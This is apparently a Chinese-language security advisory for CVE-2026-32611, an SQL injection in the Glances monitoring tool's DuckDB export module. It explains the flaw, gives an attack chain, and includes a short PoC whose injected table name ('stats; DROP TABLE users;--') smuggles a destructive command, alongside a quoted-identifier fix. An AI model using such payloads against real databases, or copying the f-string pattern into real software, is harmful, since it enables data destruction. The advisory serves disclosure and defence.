IPBUF安全漏洞报告
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CVE-2026-32611 CVSS 7.0 高危

CVE-2026-32611 Glances DuckDB导出模块SQL注入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32611
漏洞类型
SQL注入
CVSS评分
7.0 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Glances

相关标签

SQL注入GlancesDuckDBCVE-2026-32611导出模块高危漏洞系统监控工具

漏洞概述

Glances是一款开源跨平台系统监控工具,用于监控CPU、内存、磁盘、网络等系统资源。该漏洞存在于Glances的DuckDB导出模块中,属于SQL注入漏洞。攻击者可以通过构造恶意的表名或列名,利用监控统计数据中未经过滤的用户输入,直接注入到SQL语句中执行。虽然DuckDB INSERT操作已使用参数化查询(?占位符),但DDL(数据定义语言)构造和表名引用部分未对标识符名称进行转义或参数化处理,攻击者无需认证即可利用此漏洞获取敏感数据或破坏数据库完整性。

技术细节

该漏洞的根本原因在于DuckDB导出模块(glances/exports/glances_duckdb/__init__.py)中的SQL语句构造方式不安全。具体来说,表名和列名直接通过Python f-string插值到SQL语句中,而没有进行适当的标识符转义或参数化。例如,在创建表或引用表名时,代码直接使用f"CREATE TABLE {table_name}..."的格式,而table_name来源于监控统计数据。虽然INSERT语句的值部分使用了参数化查询(?占位符),但标识符部分(如表名、列名)仍然存在注入风险。攻击者可以通过在表名或列名中注入SQL元字符或SQL语句片段,如使用单引号、分号或注释符等,来破坏SQL语句结构,执行未授权的数据库操作。修复方案应使用DuckDB的标识符转义机制或psycopg.sql类似的组合对象来安全处理标识符名称。

攻击链分析

STEP 1
步骤1
攻击者获取Glances监控工具的访问权限,监控数据被收集并准备导出到DuckDB数据库
STEP 2
步骤2
攻击者通过修改系统监控数据(如进程名、用户名、主机名等),注入包含SQL元字符的恶意数据
STEP 3
步骤3
Glances的DuckDB导出模块将恶意数据作为表名或列名,直接通过f-string插入到CREATE TABLE等DDL语句中
STEP 4
步骤4
构造的恶意SQL语句被执行,攻击者可执行未授权的数据库操作,如读取敏感数据、修改表结构或删除数据
STEP 5
步骤5
攻击者利用SQL注入漏洞进行数据窃取、权限提升或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32611 PoC - DuckDB SQL Injection in Glances # This PoC demonstrates SQL injection via table name in DuckDB export module import duckdb # Simulate the vulnerable code pattern from glances/exports/glances_duckdb/__init__.py def vulnerable_table_creation(table_name): """Vulnerable function that directly interpolates table name into SQL""" # This is the vulnerable pattern: direct interpolation of user-controlled input sql = f"CREATE TABLE IF NOT EXISTS {table_name} (id INTEGER, value TEXT)" return sql def vulnerable_insert(table_name, values): """INSERT uses parameterized query but table name is still vulnerable""" sql = f"INSERT INTO {table_name} VALUES (?, ?)" return sql, values # Malicious input simulating attacker-controlled monitoring data malicious_table_name = "stats; DROP TABLE users;--" # Execute vulnerable SQL conn = duckdb.connect(':memory:') cursor = conn.cursor() try: # Attempt to create table with malicious name sql = vulnerable_table_creation(malicious_table_name) print(f"[+] Generated SQL: {sql}") cursor.execute(sql) print("[!] Table created - potential injection vulnerability") except Exception as e: print(f"[-] Error: {e}") # Safer approach using identifier quoting def safe_table_creation(table_name): """Fixed version using proper identifier escaping""" # Use backticks or double quotes to escape identifiers escaped_name = f'"{table_name.replace("\"", "\"\"")}"' sql = f"CREATE TABLE IF NOT EXISTS {escaped_name} (id INTEGER, value TEXT)" return sql print("\n[+] Safe version:") safe_sql = safe_table_creation(malicious_table_name) print(f" Generated SQL: {safe_sql}")

影响范围

Glances < 4.5.3 (DuckDB export module)

防御指南

临时缓解措施
如果无法立即升级,可临时禁用DuckDB导出功能,或在Glances配置中限制导出数据的来源。同时监控数据库日志,查找异常的SQL语句模式。建议关注官方安全公告,及时应用安全补丁。

参考链接

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